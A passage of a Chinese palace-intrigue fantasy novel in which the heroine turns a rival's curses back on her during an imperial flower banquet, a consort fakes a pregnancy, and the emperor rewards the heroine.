这话说得看似关切,却又没头没尾,落在旁人耳中只觉突兀,不解其意。
唯有梅柔卿,在接触到云昭目光的一刹,脊背莫名窜起一阵寒意。
她修**咒术多年,灵觉远胜常人,本能地感到一种说不出的压迫之意。
她下意识想要推拒,可一抬眼,正迎上长公主冷淡审视的目光。
梅柔卿只得按下心头不安,双手恭敬地接过那朵花,垂下眼睫掩去眸中波动,低声道:“……多谢大姑娘赠花。”
直至她持花退回座席,那一缕若有似无的违和感与寒意,仍如影随形,萦绕不去。
这时,一位刚分得花枝的贵女道:“同是一母所生的嫡亲姐妹,性情品貌怎就相差这般远?”
“心儿妹妹得了什么好东西,总第一时间念着姊妹,恨不能剖心相待。
可有些人呢,得了天大的恩宠赏赐,却只知紧紧捂着自己独享,半丝也不愿分润……”
“这话说得可真有意思!”李灼灼话说得又快又急,如脆玉敲冰,
“花能折枝分予他人,难道金玉珠宝,也能当场掰成两半相赠?若真如此,我倒想开开眼界!”
云昭闻言,险些没忍住笑出声来。
这位英国公府的七姑娘,生得好一张利嘴!
听她说话,心里就透着一股爽快劲儿!
太后清了清嗓子,举箸宣宴:“好了,传膳吧。”
“今日御膳房精心制备,以鲜花入馔,诸位定要好好品尝。
尤其最后一道百花如意汤圆,内里藏着赤金打磨的如意珠,谁若有幸食得,便是今日真正的有福之人,哀家另有重赏。”
*
趁着众人注意力皆在传膳这件事上,云昭指尖一弹,悄无声息地将案上那枝白花投入身后花丛。
旋即,她取出绢帕,慢条斯理地拭了拭指尖。
这动作轻巧隐秘,唯有侍立一旁的莺时瞧在眼中。
她正欲低声询问是否需将花枝处置得更远些,却见云昭以指尖蘸了杯中清茶,于案几上疾绘出一道繁复隐晦的符文。
紧接着,她掌心轻覆其上,信手一抹——
方才还阴晴不定的天光霎时破云而出,朗朗清辉倾泻而下,园中为之一亮。
几乎同时,一阵低沉密集的嗡鸣声由远及近,自四面八方围拢而来!
“什么声响……”
一位耳尖的贵女惶然四顾,话音未落,便见一群黄蜂势如破竹,直扑上首的太后与姜绾心!
蜂群旋即四散,如得号令般,凶猛地追逐起园中所有簪戴白玉蝶之人。
李灼灼眸光锐利,顷刻间窥破关窍,当即跃身冲至对面席前!
她出手如电,一把便将南华郡主鬓边那朵白花揪了下来,顿时引来对方一声痛极的嚎叫!
“啊——!本郡主的头!李灼灼!你发什么疯?!”
京中贵女赴此盛宴,无不珠翠盈鬟、宝簪密插,她这般不由分说猛然一扯,难免扯断发丝,刮伤头皮。
“不知好歹!”李灼灼却冷哼一声,“姑奶奶是在救你狗命!”
南华郡主正想唾骂,紧接着就瞧见旋落于地的那支白玉梅被蜂群穷追不舍,不过瞬息之间,花瓣萎靡蜷曲,泛起诡异的焦黑色泽。
她霎时噎住,骇得咽了咽唾沫,再望向李灼灼时眼中已透出后怕:“这、这究竟是怎么回事……”
李灼灼却早不耐烦与她多言,转身便风风火火扑向下一个目标。
只见她利落地薅向另一位惊慌的贵女发间,徒留南华郡主呆立原地。
长公主初时骇然,旋即敏锐地察觉,那蜂群虽也在她与云昭周身盘绕飞舞,却并无半分真正攻击之意,仿佛只虚张声势。
不待她细思个中关窍,云昭已一把拉住她的手腕:“义母,随我来!”
莺时与周嬷嬷即刻护持左右。
主仆四人步履迅捷却不显慌乱,疾步退至园中一株枝繁叶茂的古树之后,恰好避开了最混乱之处。
此刻方显出云昭先见之明——
若非长公主今日听从她劝,卸去那一头沉甸甸的珠翠华胜,只简简单单簪了一枚赤金
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凤首素簪,此刻定然行动迟缓,绝无可能如此利落地脱身。
令云昭略感意外的是,那位姿容清艳的阮嫔,竟也步履轻灵、悄无声息地跟了过来。
她纤手轻扶柳树干,一边探头向外张望局势,一边还不忘笑吟吟地夸赞:
“云昭小姐真是好眼力,挑的这处地方既清静又稳妥,看得还清楚。”
说罢,又转向一旁神色微凝的长公主,语带真诚地笑道,
“殿下今日这身装扮,瞧着清爽又贵气,比往日更显年轻了。”
正所谓伸手不打笑脸人。
阮嫔这般巧笑嫣然、言语讨喜,饶是长公主心中仍因方才之事存着些不快,此刻面色也不由缓和了几分。
“快把佩戴的白玉蝶摘掉!还有其他什么佩花、香囊,也通通扔掉!”
李灼灼一声高呼惊醒了众人,命妇贵女们慌忙拍落鬓发间的簪花,解下腰间香囊。
一时之间遍地珠玉荷包,娇呼痛吟之声不绝于耳,场面狼狈不堪。
贵妃更是花容失色,惊叫着胡乱拍打周身,全无平日雍容仪态。
太后身旁的嬷嬷反应极快,猛地上前,一把掀开紧抱住太后的姜绾心,迅疾将太后衣襟上那朵白花拂落于地。
不过片刻,萦绕太后的蜂群便渐次散去。
最狼狈凄惨的莫过于姜绾心。
她听到众人言语,仓皇摘落头上花环,然而花瓣纷落如雨,沾满衣襟发梢,引得蜂群愈发疯狂地追逐叮咬。
任凭她鬓发散乱、钗坠环碎,甚至惊慌失措下摔倒在地,仍无法摆脱。
无人注意的角落,梅柔卿紧咬下唇,面色惨白如纸,指尖于袖底急促地掐诀反制。
然而咒力竟如泥牛入海,反倒激出一股腥甜涌上喉头。
她强咽下满口鲜血,不顾一切冲上前,将狼狈不堪的姜绾心紧紧护入怀中。
恰在此时,一声惊惶尖叫划破混乱:
“血——!贵妃娘娘见红了!”
众人骇然望去,只见贵妃跌坐于地,裙裾上赫然洇开一抹刺目的鲜红。
太后勃然变色,厉声疾呼:“太医!快传太医!”
阮嫔见状,似是惊讶极了,不由向前迈了两步,绣鞋却在不经意间被一丛低矮的杜鹃花枝绊住,身形微微一晃。
一旁云昭适时虚扶了一把,两人宽大的袖摆一刹那间悄然交叠。
无人注意之际,云昭已将那只萧启所托的细小木盒递入阮嫔手中。
阮嫔就势轻轻倚靠云昭站稳,嗓音娇柔得能滴出水来:“多谢云昭小姐。”
语罢,她便若无其事地向前行去,翩然融入纷扰的人群之中,仿佛方才的短暂交汇从未发生。
而另一侧,长公主眉眼微沉,目光紧紧锁住贵妃的方向,指尖无意识地攥紧了袖口
云昭静立其侧,清晰地听见她一句极轻的低喃,带着惊疑:“这怎么可能……”
第32章 自食恶果
长公主倏然侧眸。
她看向云昭,眼底情绪翻涌:“昭儿,你今日去贵妃宫中……”
她欲言又止,话到嘴边又咽了回去——
云昭终究是个未出阁的姑娘,有些话实在难以启齿。
云昭明了长公主心中疑虑,轻轻颔首,声音压得极低,仅容二人听见:“贵妃确实怀有身孕……”她顿了顿,压低声音道,“一月有余。”
长公主面色骤变,旋即,眼底漫上一层轻鄙。
她低声告诫云昭:“听义母的,此事你权当不知情。”
云昭本也不欲张扬,轻轻颔首。
肆虐的蜂群将那些白玉蝶尽数啄落在地,花瓣迅速焦黑成灰。
随后,蜂群便如潮水般集结退去,转瞬消失无踪。
贵妃瘫软在地,神色惊惶万分,眼角噙着泪珠,语无伦次地重复道:“又来了,又来了……”
她身旁宫婢跪在一旁,呆呆看着她裙上蔓开的血迹,张着两手满脸惊惶。
太后见状,厉声喝道:“都还愣着做什么!快扶贵妃去侧殿平躺!”
她的目光扫过满地狼藉,最终落在相拥哭泣的梅柔卿与姜绾心身上,语气稍缓:
“扶心儿起来,好生照看!”
“我要痛**!”姜绾心只觉得脸上身上火辣辣地疼,双手捂着脸哀叫:“娘亲,太后,救救我……”
太后见她这般可怜,不顾宫人劝阻,亲自上前握住她的手温声安抚:“好孩子,别怕,先别用手碰——”
话音未落,太后却猛地顿住。
她本想劝姜绾心勿要揉搓患处,以免伤势加重。
可握着她的手腕仔细看去,姜绾心白皙娇嫩的脸蛋上竟是光洁如初,莫说红肿伤口,连一丝细微的划痕都找不到!
有人不禁低声疑道:“方才……莫非是我眼花了不成?”
也有人颤声道:“除非我等同时白日做梦。”
众人无不愕然,园中霎时陷入一片诡异的寂静。
一片惶惑茫然之中,唯有云昭神色沉静若水。
她眸光微敛,于心底将方才种种异状细细梳理分明。
她特意回赠一朵白玉蝶,对梅柔卿道出那句意有所指的“是你的”,又于案几之上信手绘下符文——
这一切,并非为了施加新咒,而以其人之道,还治其人之身,将梅柔卿所施咒术,强行逆转反噬!
可即便如此,姜绾心今日吃的这点苦头,远不及她前世所受苦楚万一!
梅柔卿指根三圈殷红,赫然对应着三道阴毒咒术。
第一道咒术,落于贵妃之身,令其近来屡次遇险,再故意以“吉星”身份博取贵妃信任。
此咒一反,梅柔卿气血逆冲,呕血难抑。
第二道,用于炮制今日这“花神显灵”的骗局,引百蝶齐聚,博太后欢心。
此咒反噬,祥瑞顷刻化为灾厄,引来群蜂狂噬,令姜绾心尝尽钻心刺骨之痛,却无迹可寻。
那第三道咒术,梅柔卿用在了谁的身上?
一个猜测浮上心头,云昭心中波澜暗涌,面上却丝毫不显。
此时绝非求证的良机,一切只待今日出宫,回到姜府……
*
另一边,姜绾心尚不知发生了什么。
她是真觉得脸上、身上无数地方如被火燎蜂蛰,又疼又烫,难受得要命!
她忍不住软倒在地,朝着太后哀哀哭泣:“娘娘,快请御医救救臣女,臣女真的好疼,臣女不想死……”
眼见姜绾心哭得梨花带雨,众人却未如平日那般轻易地心生怜悯,反而愈发觉得诡异。
毕竟,她的脸上、身上,分明未见半点伤痕!
方才还羡慕姜绾心得蒙“花神赐福”的几位贵女,此刻已悄悄退开几步,眼底带上了一丝惊惧和疏离。
年纪稍长的女眷们则交换着心照不宣的眼神,低声议论起来:
“着实是古怪……莫非真是花神降怒?”
“方才百花争抢白玉蝶,那梅柔卿不是说什么花神赐福?转眼就引来蜂群,说是降怒,倒也贴切。”
“什么花神赐福,花神降怒?!”一道略显苍老却中气十足的女声骤然响起,压过了窃窃私语。
云昭闻言不由朝说话那人看去。
只见一位发髻银白的老夫人拄着拐杖,语气沉凝:
“依老身看,今日之事,怕是有人欲以不入流的手段谄媚邀宠,最终弄巧成拙,自食恶果罢了!”
长公主低声道:“那位是御史中丞的母亲,方老夫人。方老夫人为人刚正,脾气率直,眼里揉不得沙子,但心性是极好的。”
李灼灼的娘亲,英国公夫人这时追问道:“方老夫人的意思是,方才那群蜂与先前的蝴蝶,皆是人为?”
此言一出,在场几位年岁稍长、见识广博的命妇彼此交换个眼色,纷纷点头。
其实方才闹出“花神显灵”那一出,除了与南华郡主年纪相仿的几个小姑娘,似他们这样年纪的女眷,心中大多存有疑虑。
只是今日乃太后主办的花神宴,谁不愿图个喜庆吉利?
既有吉兆显现,自然乐得顺水推舟,说几句吉祥话,全了太后的颜面也就罢了。
但大家伙儿心里都清楚,若一种花能异常引来大量蝴蝶,自然也有可能引来其他蜂虫!
原本她们瞧着姜二小姐有本事造出此等“祥瑞”,哄太后开心,那也是她的能耐,大家原则上并无利益冲突,也乐意捧场。
可如今局面失控,闹得如此难堪,先前那“祥瑞”有多轰动,此刻就显得有多可笑和荒谬!
一时间,低声的议论变得清晰起来:
“还是太年轻,沉不住气,太过贪慕虚名了。”
“这等手段也敢拿到太后娘娘面前卖弄,真是不知所谓!”
“瞧着乖巧,心思却用在了这等歪门邪道上。”
这些话语虽轻,却清晰地钻入姜绾心耳中。
李灼灼更是火上浇油地来了一句:“该不会,云昭的那支牡丹,也是你做了手脚吧?!”
众人闻言,目光不由齐齐投向云昭。
此时她已与长公主等人自那株大柳树后转出,翩然立于人前。
只见她手中那支“醉胭脂”,虽仍是墨色为主,却在流转的天光下折射出别样的暗金乌光。
不知是谁小声嘀咕了一句:“怪了……方才瞧着还觉碍眼,这会儿怎的倒顺眼了许多?”
阮嫔极其浮夸地“呀”了一声,一双美目瞪得圆圆的,仿佛发现了什么了不得的大事:
“方才还觉得这花黑黢黢的,丑得离奇,活像被火燎过似的!
怎的被蜂群这么一闹,再看云昭小姐手里这支,倒觉出几分不同寻常的贵气来了?!”
云昭:“……”阮嫔可真是生了一张巧嘴。
阮嫔素来得太后青眼,她这般一惊一乍、煞有介事的点评,果然立刻引来了太后的注目。
太后凝神看向云昭手中那朵迥异于常的牡丹。
初时愕然,随即眼神复杂地转向跌坐于地的姜绾心。
“我没有……”姜绾心跌坐在地,脸色惨白如纸,嘴唇不住颤抖。
她心头又慌又乱,巨大的委屈和恐惧淹没了她——
她明明都那么疼了,为什么没有人相信?为什么大家都用这种眼神看她?
太后脸色亦是青白交加。
看着姜绾心的眼神,闪过一抹被愚弄的怀疑与恼怒。
就在**几乎一边倒的时刻,梅柔卿猛地扑上前,一把将瑟瑟发抖的姜绾心紧紧搂入怀中。
“太后娘娘明鉴!心儿年纪小,经不得吓,此刻怕是魇住了!”
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她伸手,状似匆忙地覆在姜绾心的额头上,随即像是被烫到一般缩回手,惊惶喊道:
“娘娘!心儿她烧得厉害!都说起胡话来了!求恳娘娘,快传御医看看吧!”
云昭冷眼旁观,一看梅柔卿那看似慌乱实则精准的手势,便知她定是用了某种手法暂时激发了姜绾心的气血,制造出高热假象,以此作为开脱。
太后闻言,紧绷的神色果然松动了几分。
她看着姜绾心冷汗涔涔的脸颊,以及梅柔卿声泪俱下的模样,终究挥了挥手:
“将姜二小姐也扶到偏殿去,让御医一同瞧瞧。”
*
偏殿里。
淡淡安神香中,萦绕着一股若有似无的血腥气。
众人或站或坐,神色各异,目光游移间交换着心照不宣的微妙情绪。
云昭静立在侧,长公主端坐一旁,面色沉郁,指尖无意识地在扶手上轻叩,显是心中极为不豫。
云昭目光掠过不远处榻上的贵妃,见她身畔胎灵的莹润光泽并未黯淡,心下顿时了然。
这一胎,竟是稳住了。
贵妃躺在床榻上,面如金纸,昔日艳光被一层惊惶不安彻底覆盖,仿佛惊弓之鸟。
章太医凝神诊脉,良久,方在太后的注视下,冷汗涔涔地拱手道:
“恭喜太后,恭喜贵妃娘娘……确是喜脉。娘娘心思郁结,骤受惊吓,方才引动胎气略有不安。
待服下微臣开的安胎药,好生静养,便可无碍。”
太后状似松了一口气:“孟贵妃,你可听见了?需谨遵医嘱,好生养胎。”
她神色沉凝,语重心长:“你入宫十年,方得此喜,合该惜福静心。
往后遇事需沉稳些,莫要再这般一惊一乍,平白惹出风波,徒令哀家与你一同忧心。”
贵妃由宫女搀扶着勉强坐起,朝太后虚弱地颔首:“儿臣明白。定当谨记母后教诲,好生安养。”
她手中紧紧攥着一枚平安符,刻意举到显眼处,仿佛那是唯一的依凭:
“今日蜂群骤然惊扰,儿臣当时六神无主,以为母子俱危……
全赖梅娘子此前特地从宝华寺为儿臣求来的这枚平安符,才得神明护佑,保住了腹中胎儿。”
梅柔卿闻声下跪,姿态放得极低,语气柔顺谦卑至极:“贵妃娘娘言重了。此乃娘娘自身福泽深厚,得上天眷顾,神明垂怜。民女不过尽些微末心意,万万不敢居功。”
云昭冷眼瞧着这两人一唱一和,配合得天衣无缝,心下顿时冷笑——
梅柔卿眼见算计落空,便立刻抓劳贵妃怀孕一事,企图将功折罪,扭转败局。
两人一搭一档,无非是想借“救护皇嗣”之名,重新博取太后好感。
太后神色不明地扫了梅娘子一眼,问道:“心儿情况如何?”
一位御医忙躬身回话:“回太后,姜二小姐乃惊惧交加,邪风入体,以致心神恍惚,突发高热。
臣已开了方子,服下发散发汗,应无大碍。”
只见姜绾心蜷缩在床榻一角,眼睫被泪水与汗水浸得湿透,身子微微发抖,口中不住喃喃:“别过来!别咬我!我好怕……”
贵妃见状,以手掩住小腹,神情哀戚,语带自责:“母后,今日之祸,或许皆是因儿臣而起……”
“儿臣宫中近来屡生不详,恐是带了不干净的东西冲撞了花神宴,才连累心儿小姐无辜受此惊吓。”
太后眉头蹙得更紧:“此话从何说起?”
“儿臣也不知缘由。”贵妃泪光盈盈,顺势恳求,
“听闻碧云寺闻空大师已回京。
儿臣想求母后恩准,前往碧云寺小住一段时日,日日聆听大师讲经,为腹中孩儿祈福,或可化解灾厄,求得安宁。”
云昭闻言,眸光一厉!
第33章 哪里来的活宝?
太后闻言,面露迟疑。
梅柔卿则立刻抓住时机,“扑通”一声跪倒在地,言辞恳切:
“民女愿随侍贵妃娘娘左右,日夜抄写经卷,祈求佛祖保佑娘娘与小皇子凤体安康,灾厄尽消!”
云昭心中冷笑:好一个梅柔卿!连贵妃这般心机深重,也被她拿捏短处,又寻到了翻身之机!
贵妃欲避入寺庙,这并不意外。
她接连受惊,胎象本就不稳,后宫更是虎狼环伺,她此举是为自保,倒也算不得蠢。
可贵妃竟更进一步,主动将蜂群之祸揽到自己身上,替梅柔卿母女解围!
如此一来,不仅今日这场闹剧有了完美的替罪羊,她们甚至能借着贵妃这阵东风,抢先一步见到闻空大师!
那她手中这费尽心力得来的头香彩笺,岂非成了笑话?
果然,姜绾心挣扎着滑下床榻,软软跪伏于地,一头青丝散乱,更衬得那张小脸惨白如纸。
她未语泪先流,声音哽咽得断断续续,每一个字都浸满了无尽的委屈与惶恐:
“太后娘娘,臣女有罪……今日蜂祸,虽非臣女所愿,终究是臣女福薄命浅,才招致不详,惊扰盛宴,辜负了娘娘深恩。”
她抬起泪眼朦胧的脸,哀哀乞求:
“恳请太后娘娘恩准,让臣女随贵妃娘娘同往碧云寺!臣女甘愿吃斋念佛,清修赎罪,以求洗刷今日罪愆……”
“心儿,快起来。”
太后看着她这般凄楚模样,果然眼中流露出怜惜与不忍,语气也软了几分,带着一丝不易察觉的无奈:
“今日之事,哀家知道并非你存心之过。要怪,就怪你母亲苏氏身子不中用,常年缠绵病榻,未能给你足够的呵护。
你自幼失恃,未曾享得多少母爱,身世已是这般可怜,哀家……又怎会真的怪罪于你?”
这番话,乍一听慈爱宽厚,实则偏心无理到了极点。
云昭闻言,心头并未掀起多大波澜,只觉一片冰冷的荒谬。
姜家上下的凉薄她早已领教,自然不会因一个老糊涂的偏袒而轻易动怒。
只是听着这番言论从一国太后的嘴里道出,真是既可笑又可悲。
不远处的李灼灼更是直接撇过头去,毫不掩饰地翻了个白眼——
姜绾心缺乏母爱?身世可怜?所以太后您就这般毫无原则地偏爱补偿?
那这满京城里,那些真正父母双亡、孤苦无依的宗室子女又该如何?
您自家的亲孙女、外孙女,又何曾见过您这般毫无底线地回护疼惜?
简直离离原上谱!
*
就在这时,殿内一角忽然传来一声极轻的、压抑不住的干呕。
这声音在略显寂静的偏殿中格外清晰,众人齐刷刷朝声音来处望去——
只见阮嫔以一方素白绣帕紧紧掩着唇,黛眉微蹙,眼含水光,一副强忍不适的模样。
她脸色苍白得近乎透明,额角甚至渗出了细密的冷汗。
太后见她如此情状,心头一紧,忙关切道:“阮嫔,你这是怎么了?可是方才也被蜂群惊着了,身子不适?”
经过方才一连串的风波,太后此刻对任何“不适”都高度敏感,生怕再出纰漏。
阮嫔强撑着站直,唇角轻牵,挤出一个虚弱又乖巧的微笑,细若游丝地回道:
“劳太后娘娘垂询,嫔妾并无大碍……许是方才心系贵妃姐姐的安危,跑得急了些,这会儿有些头晕反胃……”
“嫔妾歇一下就好……唔!”
话未说完,她又以帕掩唇,发出一声更为明显的干呕。
身子也跟着晃了晃,宛若风中柔柳,仿佛下一刻就要软倒在地。
云昭:“……”
萧启这是从哪寻来的活宝?
简直比她从前见过戏班子里最红火的旦角还会演!
太后见阮嫔异状如此明显,岂能坐视不理,尤其现成的太医就在眼前。她即刻下令:“章太医,快,也给阮嫔瞧瞧!”
章太医领命上前,屏息凝神,指尖隔着丝帕轻轻搭在阮嫔腕间,仔细斟酌脉象。
不过片刻功夫,只见他面色骤然一变,竟扑通一声跪倒在地,声音因极致的激动而带着难以抑制的颤抖,高声贺道:
“恭喜太后娘娘!贺喜阮嫔娘娘!娘娘这脉象……是喜脉啊!
如盘走珠,圆滑流利,这分明是已有一月有余的身孕!与贵妃娘娘的月份……竟是相差无几!”
殿内霎时一片死寂。
所有人的目光“唰”地一下,从方才的贵妃和姜绾心,转而齐刷刷地聚焦到了阮嫔身上!
南华郡主惊得脱口而出:“又怀了一个?!”
命妇们这才如梦初醒,纷纷围拢上前,朝着太后连连道喜。
“太后娘娘洪福齐天!今日这花神宴,果真祥瑞盈门,喜气冲天!”
“正是呢!臣妇也要好好沾沾这天大的喜气,盼着家中儿媳早日有孕,为家门添丁进口!”
太后自踏入偏殿起便略显阴霾的脸色,此刻终于云开月明,容光焕发。
眼底也漾开真切的笑意,连声道:“好!好!真是祖宗保佑,天佑皇家!”
云昭身负玄瞳之术,只一眼就看穿,阮嫔腹中空空如也,哪有什么龙胎皇嗣!
但既然太医言之凿凿,咬定是喜脉,那先前袖袂交错之际,她塞入阮嫔手中的那只小巧木盒里装的是何物,其用途便不言而喻了——
无非是某种能暂时扰乱脉象、制造虚孕假象的秘药。
*
阮嫔愣在原地,一双秋水明眸瞪得圆圆的,仿佛被这天降之喜砸懵了,呆呆地重复:
“这……这怎么可能呢……”
她似是无意识地抬起纤纤玉手,轻轻抚上自己依旧平坦的小腹,脸上渐渐飞起羞涩的红霞。
然而,她的目光“不经意间”扫过不远处脸色微沉的贵妃时,脸色顷刻由红转白,身体微
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微颤抖,像是想到了什么极其可怕的事情。
她下意识地朝太后看去,声音里带上了明显的哭腔:“太后娘娘……嫔妾、嫔妾心里好害怕……”
太后正沉浸在又添皇嗣的巨大惊喜之中。
在她看来,阮嫔性子柔顺,远比骄纵跋扈的贵妃更得她欢心,若能一举得男,自是锦上添花,再好不过。
见阮嫔吓得花容失色,她忙温声安抚:“傻孩子,这是天大的福气,祖宗保佑都来不及,你怕什么?”
阮嫔顺势跪下,泪珠如同断了线的珠子般簌簌滚落:
“太后娘娘明鉴!贵妃姐姐宫中近来屡生事端,今日御花园又突降蜂灾,这般不祥之兆接二连三……嫔妾实在害怕!”
不远处的贵妃闻言,当即长眉倒竖,一声厉喝:“阮嫔,你这话是何意!”
阮嫔像是被这声呵斥吓破了胆,双手下意识地护住小腹,身子缩了缩,越发显得可怜巴巴:
“贵妃姐姐息怒,嫔妾并无他意。只是……只是实在害怕这来历不明的晦气,万一冲撞了龙胎,嫔妾万死难辞其咎……”
阮嫔绝口不提任何“人为”猜测,只死死咬住“晦气”与“冲撞”二字。
而这恰恰戳中了太后内心深处的敬畏与忧虑。
太后闻言,眉头果然紧紧蹙起,心有戚戚地点了点头:
“阮嫔年纪轻,没经过什么事,遇到今日这般凶险情形,如何会不怕!”
贵妃气得脸色煞白,胸口剧烈起伏,猛地抓住一旁宫婢的手臂,作势就要挣扎起身!
那架势,竟像是恨不得立刻扑过来撕烂阮嫔那张巧嘴:“**!谁给你的胆子,竟敢如此放肆污蔑!”
“贵妃,当心你腹中的孩子!”太后不悦地皱眉,声音也沉了几分:“阮嫔所言,不过是陈述事实,你急躁什么?”
阮嫔抬起头,泪眼婆娑地望着太后,眼神充满了哀切的乞求:
“既然贵妃姐姐要去碧云寺祈福静养,求太后娘娘恩准,让嫔妾也一同前去吧!”
贵妃万万没想到,阮嫔话锋一转,竟然有此请求,不禁又急又气:“母后!儿臣不愿与她同去!”
阮嫔立刻细声细气地接话,语气柔软却步步紧逼:
“嫔妾深知姐姐心中不安,正因如此,才更需你我姐妹同心,一同祈求佛祖化解灾厄,方能保得各自腹中孩儿万全啊……姐姐为何不愿?”
贵妃被她噎得指尖发颤:“你——!”
云昭看的得趣儿,眸中闪过一抹幽光。
贵妃欲往碧云寺,是为求个心安,保全自身;
姜绾心与梅柔卿千方百计想跟去,图的是那桩与太子的姻缘。
阮嫔又是为了什么?
如此煞费苦心,甚至不惜假孕争宠,非要挤进碧云寺,她所图的又是什么?
这碧云寺,居然成了人人争抢的香饽饽?
既如此,她无论如何都得去抢先咬上一口不可!
第34章 云昭得陛下赏赐
“这……”
让两位身怀龙裔的妃嫔同去宫外寺庙静养,此事干系重大,就连太后也一时难以决断,面露踌躇。
就在这时,殿门外传来太监尖细悠长的通传声:“陛下驾到——太子殿下驾到——!”
众人闻声,无不整衣肃立,垂首屏息。
一道明黄身影迈入殿中。
云昭抬眸望去,心下不由微微一惊。
来人身着绣金龙袍,身量挺拔,保养得宜,虽已年近中年,仍可见英俊轮廓。
但最令她讶异的是,皇帝的容貌竟与萧启有七分相似。
只是皇帝眉宇间凝着一层驱不散的阴沉,眼底带着被酒色侵蚀的倦怠与欲色,显得阴鸷迫人,毫无萧启那种朗朗清举、皎如明月的气度。
在云昭的玄瞳视野之中,皇帝周身龙气虽盛,却缠绕着浓重的污浊之气,无数怨念如附骨之疽般纠缠不去。
这正是德不配位、业力深重之相,绝非善终之兆。
皇帝步履沉稳,神色威严中透着一丝处理朝务后的疲惫。
他目光如电,扫过殿内神色各异的众人,最终落在太后身上,语气放缓:
“朕听闻御花园中出了些乱子,心中担忧母后,特来一看。”
太后正待开口,贵妃却像是瞬间找到了主心骨,未语泪先流,哀切凄婉地唤了一声:“陛下……”
一旁的阮嫔也适时地垂下头,纤弱肩膀微颤,一副受惊后强自镇定的模样。
却因不敢抢在太后和贵妃之前开口,更显楚楚可怜。
皇帝的目光不由在阮嫔身上多停留了一瞬。
太后身旁的心腹嬷嬷适时上前,满脸喜色地禀报:
“恭喜陛下,贺喜陛下!天佑皇家,贵妃娘娘和阮嫔娘娘同时诊出了喜脉!这真是天大的喜事,太后娘娘正为此高兴呢!”
皇帝听着,面上恰到好处地流露出惊喜之色:“哦?竟有此事?”
太后趁势道:“只是贵妃和阮嫔都受了惊吓,均想前往碧云寺祈福静养,哀家实在放心不下,正自为难……”
皇帝闻言,英挺的眉也几不可察地蹙起,目露迟疑。
将两位有孕的妃嫔同时置于宫外,纵有重重护卫,也绝非万全之策。
一直冷眼旁观的长公主此刻忽然上前一步,清冷开口:
“贵妃与阮嫔皆有孕在身,既要同去寺中,虽有侍卫宫人,终究需有皇室之人坐镇照料,方可万全。
本宫近来闲暇,便一同前去看看吧。”
皇帝闻言,先是一愣,随即眼底掠过一丝真实的欣喜!
自当年他登基之事,他与皇姐的情谊就不复当年。
多年来,他多番示好,长公主虽也都接着,但几乎不过问宫闱之事。
今日竟主动提出帮忙看顾,简直是太阳打西边出来了!
不过,长公主脾性刚直,行事却很有原则,有她压阵,确实能让皇帝放心不少。
“皇姐愿去,自是再好不过!”皇帝立刻应允,语气都热络了几分,“那便有劳皇姐辛苦一趟了。”
长公主这一出手,宛如定海神针,彻底绝了梅柔卿和姜绾心任何想跟去的念头。
梅柔卿微垂着脸,看不出神色变化,但姜绾心却咬着唇,满眼不甘怨憎地瞥了长公主一眼。
云昭耳听着皇帝与长公主的对话,注意力却在另一件事上。
自太子进了偏殿,他的目光便接连两次落在贵妃身上。
尤其在听闻贵妃有孕时,云昭清晰地瞧见,太子眼皮猛地一跳,眸中竟迸出一种难以言喻的、近乎灼亮的欣悦之色。
贵妃则一直低垂着脸,直到听见长公主也要同去,目光才如浮光掠影般,极快地朝太子方向瞥去一眼。
云昭:“?”
所以,与贵妃有私的那个男人,竟是太子?
*
皇帝这时朗声道:“两位爱妃统统有赏。
传朕旨意,晋阮嫔为妃,赐号柔妃,望爱妃日后柔嘉淑慎,为后宫表率。”
“臣妾谢陛下恩典!”柔妃娇滴滴谢恩,眼中泪光点点,全是感动。
皇帝心情稍霁,又问:“柔妃可还有什么想要的?朕一并赏了你。”
“陛下。”柔妃眼波流转,声音软糯:
“今日御花园蜂群来得突然,臣妾两次脚下发软险些跌倒,多亏了姜家大小姐及时出手扶住臣妾,才未惊扰了胎气。
臣妾想着,陛下能否也赏一赏姜大小姐?就当是替臣妾和未出世的孩儿谢过她的援手之恩了。”
皇帝的目光这才缓缓投向云昭。
见她一身衣裙在一众珠翠环绕的贵女间堪称素净,发间除却两枚小巧的珍珠珠花,竟再无半点华饰,不由眸光一沉,先前那点漫不经心顷刻散去。
他蓦然想起前两日萧启入宫,叔侄二人闲谈时,那小子似乎不经意地提过一嘴。
说京中近来传的热闹,道是姜家对这位刚认回来的嫡长女颇为怠慢,并未给予应有的重视和待遇。
当时他只当是闲话,并未十分放在心上。
今日亲眼得见,方知他这侄儿所言,竟无半字虚言!
皇帝眉头不由紧蹙,心中对姜世安顿时涌起一阵鲜明的失望与不悦——
堂堂礼部尚书,执掌天下礼仪教化,竟如此苛待自己的嫡亲血脉!
这般行事做派,哪里还有半分清流表率的气度?
简直丢尽了朝廷的脸面!
皇帝素来将姜世安视为寒门学子砥砺奋进的典范,对他克己奉公、从不结党营私的表现颇为赏识。
可近两年来,此人官位愈高,心思却也愈发活络,早已不是当初那个谨小慎微的臣子了。
更不必说,近来朝中风闻,太子似乎对姜家那位二小姐青眼有加……
姜世安这般迫不及待,是想做什么?
莫非是觉得他这个皇帝日渐年老,便开始忙着为日后铺路,暗中向太子示好投诚?
看来,有些人安享荣宠太久,早已忘了身为臣子的本分,欠一番敲打了。
“姜云昭。”皇帝开口道,“你护持柔妃有功,朕便赏你黄金百两,云锦十匹,另赐赤金头面一套,东海明珠一斛。
日后出席宫宴,勿要再作如此素净装扮,没得失了身为姜家嫡女的体面,也折损皇家颜面。”
云昭当即行礼谢恩:“臣女谢陛下赏赐!”
这番话明为赏赐,字字句句却如同无形的巴掌,狠狠扇在姜世安这个礼部尚书的脸上!
满朝文武都将知晓,他姜家的嫡女,竟寒酸到需要陛下亲自出手替她妆点门面!
几乎可以想见,这道旨意
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一下,不消半个时辰,便会如野火般窜遍六部值房的每一个角落,成为今日最炙手可热的谈资。
云昭敛眉,心里暗忖:姜世安素好颜面,处事向来谨小慎微,骤然遭遇帝王如此公然敲打,今日怕是再也无颜安坐衙中,非得寻个由头早早称病回府不可了。
一旁莺时跟着跪地接旨,低垂着头却难掩激动!
原来姑娘今晨出门前说的“自会有人赠簪添妆”,并非一句随口安慰她的戏言!
原来这赠簪之人,竟是当今圣上!
她家姑娘可真是神机妙算!
莺时打定主意:从今日起,她什么都听姑娘的!哪怕姑娘杀了人,她也必定兢兢业业帮姑娘挖坑填土,绝无二话!
*
皇帝转而看向柔妃,语气温和:“你既喜欢这丫头,往后在宫中若觉闷了,便召她进宫来说说话解闷。”
“是,臣妾记下了。”柔妃柔顺应答,眼波温柔如春水。
不远处的贵妃见状,轻咬朱唇,眼中流光一转,软声唤道:“陛下……”
